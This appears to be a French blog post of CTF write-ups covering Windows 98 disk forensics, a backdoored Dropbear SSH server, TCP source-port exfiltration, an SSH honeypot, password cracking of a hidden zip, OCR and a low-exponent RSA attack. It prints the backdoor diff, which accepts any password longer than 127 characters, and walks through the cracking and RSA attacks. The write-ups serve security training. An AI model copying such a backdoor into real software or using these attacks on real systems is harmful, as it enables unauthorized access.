aurélien@duboc:~$

– – Sommaire – –




[Forensic] OldSchool

Voici une solution sur les 6 épreuves de forensic utilisant une machine virtuelle sous Windows 98. Je vous propose une solution qui ne nécessite pas de booter la machine virtuelle.

Source de téléchargement

Consignes

  • Trouver le flag de l'utilisateur HSR.
  • L'utilisateur HSR ne semble pas avoir l'habitude de manipuler des fichiers sous Windows 98.
  • L'utilisateur HSR vous montre ses talents d'artiste sous Windows 98.
  • L'ordinateur de l'utilisateur HSR semble bizarre, non ?
  • L'utilisateur HSR ne se rappelle plus des tricks en ligne de commande. Pouvez-vous l'aider à se rémémorer ?
  • HSR après plusieurs séances sous Windows 98 découvre la joie des "Oeufs de Pâques" fait par les créateurs, notamment lors de leur Bienvenue. Le flag est de la forme HSR{nom de l'argument}

Monter le système de fichiers sur son Linux

Un fichier OVA est une archive utilisé par des applications de virtualisation telles que VMware Workstation et Oracle VM Virtualbox. Il s’agit d’un package qui contient des fichiers utilisés pour décrire une machine virtuelle, qui comprend un fichier descripteur .OVF, un fichier manifeste facultatif (.MF) et des fichiers de certificat, ainsi que d’autres fichiers associés.

$ file hsr_oldschool.ova
hsr_oldschool.ova: POSIX tar archive

$ tar xvf hsr_oldschool.ova
vm_hacksecuold.ovf
vm_hacksecuold-disk001.vmdk

$ file vm_hacksecuold-disk001.vmdk
vm_hacksecuold-disk001.vmdk: VMware4 disk image

Les données du système de fichiers sont dans le fichier vm_hacksecuold-disk001.vmdk. On ne peut monter en l’état ce disque sur notre système d’exploitation Linux. On va passer par une convertion en .qcow2 afin de pouvoir monter le disque.

Pour rappel:

Qcow est un format d’image disque utilisé par QEMU, un hyperviseur de machine virtuelle qui s’exécute à l’intérieur d’un autre système d’exploitation.

$ qemu-img convert -f vmdk -O qcow2 vm_hacksecuold-disk001.vmdk vm_hacksecuold-disk001.qcow2
$ sudo modprobe nbd max_part=63
$ sudo qemu-nbd -c /dev/nbd0 ./vm_hacksecuold-disk001.qcow2
$ sudo mount /dev/nbd0p1 /mnt/

FLAG 1

Trouver le flag de l’utilisateur HSR.

On cherche le pattern du flag HSR{ partout sur le système de fichiers.

$ grep -R "HSR{" /mnt
Fichier binaire /mnt/WINDOWS/SYSTEM.DAT correspondant
/mnt/WINDOWS/TEMP/history.txt:echo 'HSR{FAKE_FLAG}'
/mnt/Mes documents/flag.txt:HSR{3asy_Fl@g!!}
Fichier binaire /mnt/RECYCLED/DC0.DOC correspondant

On utilisera strings par la suite sur les “fichiers binaires” indiqués par grep.

FLAG 2

L’utilisateur HSR ne semble pas avoir l’habitude de manipuler des fichiers sous Windows 98.

$ strings /mnt/RECYCLED/DC0.DOC | grep "HSR{"
HSR{2nd_fl4g_w@rmUp!!}

FLAG 4

L’ordinateur de l’utilisateur HSR semble bizarre, non ?

$ strings /mnt/WINDOWS/SYSTEM.DAT | grep "HSR{"
CommentHSR{What_a_new_Flag_H3r3}

FLAG 3

L’utilisateur HSR vous montre ses talents d’artiste sous Windows 98.

On cherche une image probablement en rapport avec HSR, explorons les noms des fichiers…

$ find /mnt | grep -i HSR
/mnt/WINDOWS/HSR.PWL
/mnt/WINDOWS/TEMP/HSR
/mnt/WINDOWS/TEMP/HSR/flag.txt
/mnt/WINDOWS/TEMP/HSR/real_flag.txt
/mnt/WINDOWS/TEMP/HSR/fake_flag.txt
/mnt/WINDOWS/Cookies/hsr@auto.search.msn[1].txt
/mnt/WINDOWS/Cookies/hsr@msn[2].txt
/mnt/WINDOWS/Cookies/hsr@search[1].txt
/mnt/WINDOWS/Cookies/hsr@bing[1].txt
/mnt/WINDOWS/Cookies/hsr@www.bing[1].txt
/mnt/WINDOWS/Cookies/hsr@google[1].txt
/mnt/WINDOWS/Cookies/hsr@search[2].txt
/mnt/WINDOWS/Hsr.bmp

C’est /mnt/WINDOWS/Hsr.bmp qui contient le flag:

FLAG 5

L’utilisateur HSR ne se rappelle plus des tricks en ligne de commande. Pouvez-vous l’aider à se rémémorer ?

Lors de notre recherche du FLAG 1, on a observé l’existence de /mnt/WINDOWS/TEMP/history.txt:

$ cat /mnt/WINDOWS/TEMP/history.txt
...
echo 'J u s t c o n c a t m e : H S R { D 0 s K 3 Y _ f 0 r _ c 0 m m a n d _ H 1 s t 0 r Y }'
...

$ cat /mnt/WINDOWS/TEMP/history.txt | tr -d ' ' | grep HSR
echo'HSR{FAKE_FLAG}'
echo'Justconcatme:HSR{D0sK3Y_f0r_c0mmand_H1st0rY}'

FLAG 6

HSR après plusieurs séances sous Windows 98 découvre la joie des “Oeufs de Pâques” fait par les créateurs, notamment lors de leur Bienvenue. Le flag est de la forme HSR{nom de l’argument}

En cherchant “Easter Egg Windows98” sur Youtube on peut trouver la vidéo explicative suivante: https://www.youtube.com/watch?v=hB6lEMlqvbg

On cherche alors ce qui est en rapport avec WELDATA.exe

$ find /mnt | grep -i WELDATA
/mnt/WINDOWS/APPLOG/WELDATA.LGC
/mnt/WINDOWS/Application Data/Microsoft/WELCOME/WELDATA.EXE
/mnt/WINDOWS/Application Data/Microsoft/WELCOME/Raccourci vers Weldata.lnk

On cherche alors le flag en supposant qu’il contient _ ce qui est courant dans les formats de flag.

$ strings "/mnt/WINDOWS/Application Data/Microsoft/WELCOME/Raccourci vers Weldata.lnk" | grep "_"
You_are_a_real_rascal




[Forensic] Backdoor

Source de téléchargement

Résolution

Dropbear est un serveur et client SSH relativement petit. Il fonctionne sur une variété de plates-formes POSIX. Dropbear est un logiciel open source, distribué sous une licence de style MIT. Dropbear est particulièrement utile pour les systèmes Linux (ou autres Unix) de type “embarqués”, tels que les routeurs sans fil.

On cherche a savoir la différence avec la version originale afin de pouvoir exploiter la backdoor.

On extrait la version contenant la backdoor:

$ tar xvf dropbear-2017.75-backdoored.tar.gz
$ mv dropbear-2017.75{,-backdoored}

On télécharge la version originale:

$ wget https://matt.ucc.asn.au/dropbear/releases/dropbear-2017.75.tar.bz2 
$ tar xvf dropbear-2017.75.tar.bz2
$ diff dropbear-2017.75 dropbear-2017.75-backdoored 
...
diff '--color=auto' dropbear-2017.75/svr-authpasswd.c dropbear-2017.75-backdoored/svr-authpasswd.c
98c98
< 	if (constant_time_strcmp(testcrypt, passwdcrypt) == 0) {
---
> 	if (passwordlen > 0x7F || constant_time_strcmp(testcrypt, passwdcrypt) == 0) {

On peut ainsi se connecter en utilisant un mot de passe de longueur strictement supérieur a 127 (0x7F) et récupérer le flag sur le serveur.




[Forensic] Exfiltration

Source de téléchargement

Résolution

L’exfiltration de données étaient permises via une opération sur les ports sources des paquets réseaux TCP. On peut automatiser facilement l’opération à l’aide de l’outil tshark qui nous permet d’applique un filtre pour séléctionner les paquets dont le port source est supérieur ou égal à 50000, puis de séléctionner spécifiquement le port source tcp de chaque paquet filtré:

result=""
for port in $(tshark -nr ./hacksecu2020.pcap -Y "tcp.srcport >= 50000" -T fields -e tcp.srcport); do 
  n=$(($port - 50000))
  result=$result$(python -c "print(chr($n))")
  echo $result 
done

Resultat:

Well done !!! You got the message. This is a padding to have a very very very very very very very very verylong text. The flag is HSR{3xf1ltr4t10n_0nlY_w1th_s0urc3_p0rt_As_l4st_y34r}




[Forensic] H0ney

Un service disponible au travers d’une connexion tcp nous demandait de rensigner une addresse ip et un port. Une fois renseigné, on regarde ce qui nous est envoyé. Il faut donc écouter avec netcat par exemple sur l’ip et le port indiqué.

$ nc -lvvp 8888
SSH-2.0-paramiko_2.7.1

On comprend alors qu’un bot tente d’établir une connexion SSH en utilisant la librairie python paramiko sur l’adresse ip et le port que nous avons renseigné. Dans un premier temps, on va récupérer le nom de l’utilisateur et le mot de passe avec lequel le bot cherche a se connecter, puis on laissera le connecter afin d’observeur les actions qu’il mène.

Méthode 1

On récupère les credentials du bot en utilisant ssh-grabber. Cet outil monitore en continu les processus du système pour récupérer ces informations:

$ git clone https://github.com/braindead-sec/ssh-grabber
$ bash ./ssh-grabber/ssh-grabber.sh
Listening for SSH connections...press Ctrl-C to exit.
SuperEvilHackerOfShit:YoloSwagSup3rCh4ll3ng3

On permet au bot de se connecter en créant un utilisateur avec les données récupérées:

$ adduser SuperEvilHackerOfShit --force-badname

Puis on monitore les processus appelés par cet utilisateur en utilisant pspy. On récupère ainsi le flag:

Here is the flag: HSR{h0neyp0t_Its_1mp0rt4nt_4_3xf1ltr4t10n}

Méthode 2

On utilise l’image docker cowrie pour réaliser les deux mêmes étapes que la méthode 1 en utilisant le même outil.

docker run -d -p 8888:2222  --name cowrie cowrie/cowrie

On regarde les logs du container pour récupérer le nom de l’utilisateur (on aura pas besoin de son mot de passe):

docker logs cowrie | grep login
2020-02-11T06:08:15+0000 [SSHService b'ssh-userauth' on HoneyPotSSHTransport,0,157.159.32.43] login attempt [b'SuperEvilHackerOfShit'/b'YoloSwagSup3rCh4ll3ng3'] failed
2020-02-11T06:08:16+0000 [-] unauthorized login:

On modifie les paramètres de cowrie pour qu’il accepte les connexions de ce nouvel utilisateur en suivant la documentation:

$ docker exec -it cowrie bash
cowrie@9ddd8f632e04:~/cowrie-git$ cd etc/
cowrie@9ddd8f632e04:~/cowrie-git/etc$ cp userdb.example userdb.txt    
cowrie@9ddd8f632e04:~/cowrie-git/etc$ echo "SuperEvilHackerOfShit:x:*" >> userdb.txt
cowrie@9ddd8f632e04:~/cowrie-git/etc$ exit 

On relance le bot et on récupère le flag dans les logs de la même façon.




[Misc] Leak

Source de téléchargement

Résolution

$ file hsrleak.wav
hsrleak.wav: RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 44100 Hz

On analyse le spectre en utilisant sonic-visualiser

On utilise l’option:

Layer > Add Spectrogram (Shift + G)

On récupère ainsi un lien pastebin avec un ensemble de mots de passe que l’on doit parser:

$ wget https://pastebin.com/raw/VRAKUxT9
$ cat VRAKUxT9 | grep -oP ":\K(\w+)" > wordlist.txt

Un zip était caché dans le fichier hsrleak.wav que l’on a extrait avec binwalk

$ binwalk -e hsrleak.wav

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
2645804       0x285F2C        Zip archive data, encrypted at least v2.0 to extract, compressed size: 164113, uncompressed size: 206008, name: flag.png
2810077       0x2AE0DD        End of Zip archive, footer length: 22

$ file _hsrleak.wav.extracted/285F2C.zip
_hsrleak.wav.extracted/285F2C.zip: Zip archive data, at least v2.0 to extract

Le zip est chiffré, on casse ce chiffrement avec une attaque par dictionnaire en utilisant le fichier wordlist.txt tout juste créé à l’aide du pastebin.

$ zip2john _hsrleak.wav.extracted/285F2C.zip > hash.john
$ john --wordlist=$PWD/wordlist.txt hash.john
$ john --show hash.john
285F2C.zip/flag.png:3yalh42hl:flag.png:285F2C.zip::285F2C.zip

1 password hash cracked, 0 left

$ unzip -P "3yalh42hl" ./_hsrleak.wav.extracted/285F2C.zip
Archive:  ./_hsrleak.wav.extracted/285F2C.zip
  inflating: flag.png                

On obtient donc le flag dans l’image flag.png




[Misc] OCR

Source de téléchargement

Résolution

Méthode 1

Le zip contient un dossier imgs contenant lui même 1272 images png.

$ unzip hsr_ocr.zip
$ ls imgs/ | wc -l
1272

Chaque image réprésente une lettre dont voici un exemple:

Les dernières images représentant des symboles =, on comprend qu’il va falloir concaténer l’ensemble des lettres afin d’obtenir une chaine de caractères encodée en base64. C’est en effet le principe de l’OCR:

La reconnaissance optique de caractères (ROC), en anglais optical character recognition (OCR), ou océrisation, désigne les procédés informatiques pour la traduction d’images de textes imprimés ou dactylographiés en fichiers de texte.

Il existe plusieurs outils connus pour résoudre ce genre de problèmes comme tesseract et son extension python pytesseract ou encore gocr que nous utiliserons ici.
Attention: Utiliser ces outils en analysant les images indépendemment ne permet pas une reconnaissance avec précision et l’outil ne sera pas capable de faire la différence entre un i et un j par exemple. L’astuce est donc de concaténer toutes les images et d’analyser le résultat. Pour concaténer:

import os
from PIL import Image

imgs = os.listdir('imgs')
imgs.sort()

width = 360
height = 360

def get_concat_h(imgs):
    dst = Image.new('RGB', (width*len(imgs), height))
    w = 0
    for img in imgs:
        print(img)
        i = Image.open(f'imgs/{img}')
        dst.paste(i, (w, 0))
        w += width
    return dst

result = get_concat_h(imgs)
result.save('/tmp/result.png')

Vous ne pourrez probablement pas afficher le résultat car les dimensions de result.png sont:

$ file /tmp/result.png
/tmp/result.png: PNG image data, 457920 x 360, 8-bit/color RGB, non-interlaced

Voici un exemple de résultat pour une concaténation de dix images:

$ gocr -i /tmp/result.png -u "A" > /tmp/b64.txt
$ cat /tmp/b64.txt
S  W  1  h  Z   2  V  N  Y  W  d  p  Y  2   s  g  d  2   F  z   I  G  N  y  Z  W  F  0   Z  W  Q  g  a  W  4   g  M  T  k  4  N  y  B  i  e  S  B  K  b  2  h  u  I  E  N  y  a  X  N  0  e  S  B  3  a  G  V  u  I  H  d  v  c  m  t  p  b  m  c  g  Y  X  Q  g  R  H  V  Q  b  2   5   0  A  C  B  0  b  y  B  j   b  2   5   2   Z  X  J  0   I   D  I   0  A  W  J  p  d  C  B  p  b  W  F  n  Z  X  M  g  K  D  E  2   I  G  1  p  b  G  x  p  b  2   4   g  Y  2   9   s  b  3   J  z  K  S  B  0  b  y  A  4   A  W  J  p  d  C  B  p  b  W  F  n  Z  X  M  g  K  D  I   1  N  i  B  j   b  2  x  v  c  n  M  p  A  C  B  z  b  y  B  0   a  G  V  5   I  G  N  v  d  W  x  k  I  G  J  l   I  G  R  p  c  3  B  s  Y  X  l   l   Z  C  B  v  b  i  B  t  b  3  N  0   I  H  N  j   c  m  V  l  b  n  M  u  I  E  l   0   I  H  d  h  c  y  B  m  c  m  V  l  b  H  k  g  c  m  V  s   Z  W  F  z   Z  W  Q  g  a  W  4   g  M  T  k  5  M  C  B  3  a  G  V  u  I  E  R  1  U  G  9  u  d  C  B  h  Z   3   J  l   Z  W  Q  g  d  G  8  g  d  H  J  h  b  n  N  m  Z  X  I  g  Y  2   9  w  e  X  J  p  Z   2  h  0   I  H  R  v  I  E  l  t  Y  W  d  l  T  W  F  n  a  W  N  r  I   F  N  0  d  W  R  p  b  y  B  M  T  E  M  s   I  H  N  0   a  W  x  s   I  G  N  1   c  n  J  l  b  n  R  s  e  S  B  0   a  G  U  g  c  H  J  v  a  m  V  j   d  C  B  t  Y  W  l  u  d  G  F  p  b  m  V  y  I  G  9  y  Z   2   F  u  a  X  p  h  d  G  l  v  b  i   4  K  C  k  l  u  I  E   1  h  e  S  A  y  M  D  E  2   A  C  B  p  d  C  B  3  Y  X  M  g  c  m  V  w  b  3   J  0   Z  W  Q  g  d  G  h  h  d  C  B  J  b  W  F  n  Z  U  1  h  Z   2   l   j   a  y  B  o  Y  W  Q  g  Y  S  B  2   d  W  x  u  Z  X  J  h  Y  m  l   s  a  X  R  5   I  H  R  o  c  m  9   1   Z   2   g  g  d  2  h  p  Y  2   g  g  Y  W  4   g  Y  X  R  0  Y  W  N  r  Z  X  I  g  Y  2   F  u  I  G  V  4   Z  W  N  1  d  G  U  g  Y  X  J  i  a  X  R  y  Y  X  J  5   I  G  N  v  Z  G  U  g  b  2   4   g  c  2  V  y  d  m  V  y  c  y  B  0   a  G  F  0   I  H  V  z   Z   S  B  0   a  G  U  g  Y  X  B  w  b  G  l   j   Y  X  R  p  b  2   4   g  d  G  8  g  Z  W  R  p  d  C  B  1   c  2  V  y  A  X  V  w  b  G  9  h  Z  G  V  k  I  G  l  t  Y  W  d  l   c  y  4   g  U  2  V  j   d  X  J  p  d  H  k  g  Z  X  h  w  Z  X  J  0   c  y  B  p  b  m  N  s  d  W  R  p  b  m  c  g  Q  2  x  v  d  W  R  G  b  G  F  y  Z   S  B  y  Z  X  N  l  Y  X  J  j   a  G  V  y  c  y  B  v  Y  n  N  l   c  n  Z   l   Z  C  B  h  Y  3  R  1  Y  W  w  g  d  X  N  l   I  G  9  m  I  H  R  o   Z   S  B  2   d  W  x  u  Z  X  J  h  Y  m  l   s  a  X  R  5   I  G  l  u  I  G  F  j   d  G  l   2   Z   S  B  o  Y  W  N  r  a  W  5  n  I  G  F  0  d  G  V  t  c  H  R  z  A  i  B  I  U  1   J  7  M  W  1  h  Z   z   F  j   a  1   8  x  c   1   9  B  X  2   d  y  M  2   F  0  X  3  Q  w  M  G  x   9   I  C  4   g  V  G  h  l   I  H  N  l  Y  3  V  y  a  X  R  5   I  G  Z   s  Y  X  c  g  d  2   F  z   I  G  R  1   Z   S  B  0  b  y  B  J  b  W  F  n  Z  U  1  h  Z   2   l   j   a  y  B  j   Y  W  x  s  a  W  5  n  I  G  J  h  Y  2   t  l  b  m  Q  g  d  G  9  v  b  H  M  g  d  2   l   0   a  G  9   1  d  C  B  m  a  X  J  z  d  C  B  w  c  m  9  w  Z  X  J  s  e  S  B  j   a  G  V  j   a  2   l  u  Z  y  B  0  b  y  B  l  b  n  N  1   c  m  U  g  c  G  F  0   a  C  B  h  b  m  Q  g  Z  m  l   s   Z   S  B  u  Y  W  1   l   c  y  B  h  c  m  U  g  Z  n  J  l   Z   S  B  v  Z   i  B  p  b  X  B  y  b  3  B  l   c  i  B  z   a  G  V  s  b  C  B  j   b  2   1   t  Y  W  5   k  c  y  4   g  V  G  h  l   I  H  Z   1  b  G  5   l   c  m  F  i  a  W  x  p  d  H  k  g  Z  G  l   k  I  G  5  v  d  C  B  h  Z  m  Z   l  Y  3  Q  g  S  W  1  h  Z   2  V  N  Y  W  d  p  Y  2   s  g  Z  G  l   z  d  H  J  p  Y  n  V  0   a  W  9  u  c  y  B  0   a  G  F  0   I  G  l  u  Y  2  x  1   Z  G  V  k  I  G  E  g  c  H  J  v  c  G  V  y  b  H  k  g  Y  2   9  u  Z  m  l  n  d  X  J  l   Z  C  B  z   Z  W  N  1   c  m  l   0  e  S  B  w  b  2  x  p  Y  3   k  u  C  g  =  =

L’option -u "A" de gocr permet de remplacer les caractères inconnus par un A. Cela permet d’empecher les erreurs au moment de la convertion de base sans gêner la précision du résultat si le nombre de caractères inconnus reste suffisamment faible. On obtient ainsi le flag HSR{1mag1ck_1s_A_gr3at_t00l}:

$ cat /tmp/b64.txt | tr -d ' ' | base64 -d
ImageMagick was created in 1987 by John Cristy when working at DuPont to convert 24bit images (16 million colors) to 8bit images (256 colors) so they could be displayed on most screens. It was freely released in 1990 when DuPont agreed to transfer copyright to ImageMagick Studio LLC, still currently the project maintainer organization.

In May 2016 it was reported that ImageMagick had a vulnerability through which an attacker can execute arbitrary code on servers that use the application to edit useruploaded images. Security experts including CloudFlare researchers observed actual use of the vulnerability in active hacking attempts HSR{1mag1ck_1s_A_gr3at_t00l} . The security flaw was due to ImageMagick calling backend tools without first properly checking to ensure path and file names are free of improper shell commands. The vulnerability did not affect ImageMagick distributions that included a properly configured security policy.

Méthode 2

Sur le même principe on peut utiliser les outils convert et montage pour la traiter et concaténer les images.
(merci @meroupatate pour l’astuce)

The convert program is a member of the ImageMagick(1) suite of tools. Use it to convert between image formats as well as resize an image, blur, crop, despeckle, dither, draw on, flip, join, re-sample, and much more.

The montage program is a member of the ImageMagick(1) suite of tools. Use it to create a composite image by combining several separate images. The images are tiled on the composite image optionally adorned with a border, frame, image name, and more.

On réalise un premier traitement d’image appliquant les filtres suivants:

  • `-crop 140x140+140+80` : découpage de l'image sur 140x140 pixels à partir de 140 pixels vers la droite et 80 pixels vers le bas
  • `+repage` : on supprime les métadonnées
  • `-colorspace gray` : convertion du RGB en niveau de gris
  • `-threshold 60%` : seuil de l'image à 60% (blanc si intensité en dessous de 60% et noir si au dessus)
mkdir out 2>/dev/null
for i in {0000..1271}; do
    convert "imgs/image_$i.png" -crop 140x140+140+80 +repage -colorspace gray -threshold 60% "out/out_$i.png"
done

Voici le résultat pour out/out_0000.png:

Pour la concaténation, on utilise montage avec les options suivantes:

  • `-tile 1272x1` : grille de 1272 images horizontalement et 1 image verticalement
  • `-geometry +0+0` : zéro pixel entre les images
$ montage out/out_*.png -tile 1272x1 -geometry +0+0 final.png

Voici le résultat pour une concaténation de 10 images.

$ file final.png
final.png: PNG image data, 178080 x 140, 1-bit grayscale, non-interlaced

On récupère le flag en utilisant gocr comme pour la méthode 1.

$ gocr final.png -u "A" | base64 -d
ImageMagick was created in 1987 by John Cristy when working at DuPonN to convert 2bit images (16 million colors) to 8bit images (256 colors) so they could be displayed on most screens. It was freely released in 1990 when DuPont agreed to transfer copyright to ImageMagick Studio LLC, still currently the project maintainer organization.

In May 2016 it was reported that ImageMagick had a vulnerability through which an attacker can execute arbitrary code on servers that use the application to edit useruploaded images. Security experts including CloudFlare researchers observed actual use of the vulnerability in active hacking attempts HSR{1mag1ck_1s_A_gr3at_t00l} . The security flaw was due to ImageMagick calling backend tools without first properly checking to ensure path and file names are free of improper shell commands. The vulnerability did not affect ImageMagick distributions that included a properly configured security policy.




[Crypto] RSA1

Source de téléchargement

Analyse du challenge

$ unzip rsa1.zip
Archive:  rsa1.zip
  inflating: clef1_pub.pem           
  inflating: clef2_pub.pem           
  inflating: message1.base64         
  inflating: message2.base64   

En analysant les clefs, on se rend compte que l’exposant publique e est faible et égal à 3 ce qui nous inspire une attaque utilisant le théorème des restes chinois.

Résolution

On va utiliser un fork de RsaCtfTool sur laquelle j’ai pu contribuer et qui implémente cette attaque.
Le code est plus détaillé ici: chinese_attack.py

$ git clone https://github.com/Headorteil/RsaCtfTool
$ python2.7 ./RsaCtfTool/RsaCtfTool.py --publickey "clef?_pub.pem" --verbose --uncipherfile "message?.base64"         
...
[*] Performing chinese attack.
Insuffisant number of arguments

Initialement le code était prévu pour utiliser au minimum 3 clefs, on corrige le code à la volée pour qu’il en accepte 2:

$ sed -i "s/self.len<3/self.len<2/g" RsaCtfTool/RsaCtfTool.py 
$ python2.7 ./RsaCtfTool/RsaCtfTool.py --publickey "clef?_pub.pem" --verbose --uncipherfile "message?.base64"
...
[*] Performing chinese attack.
Bravo, le théorème de Bezout n'a aucun secret pour vous, le flag est HSR{I am the king of Bezout}.
Well done, the Bezout theorem is not a problem for you, The flag is HSR{I am the king of Bezout}.
做得好,Bezout定理对您没有秘密,旗帜是
HSR{I am the king of Bezout}
(traduction approximative...)




comments powered by Disqus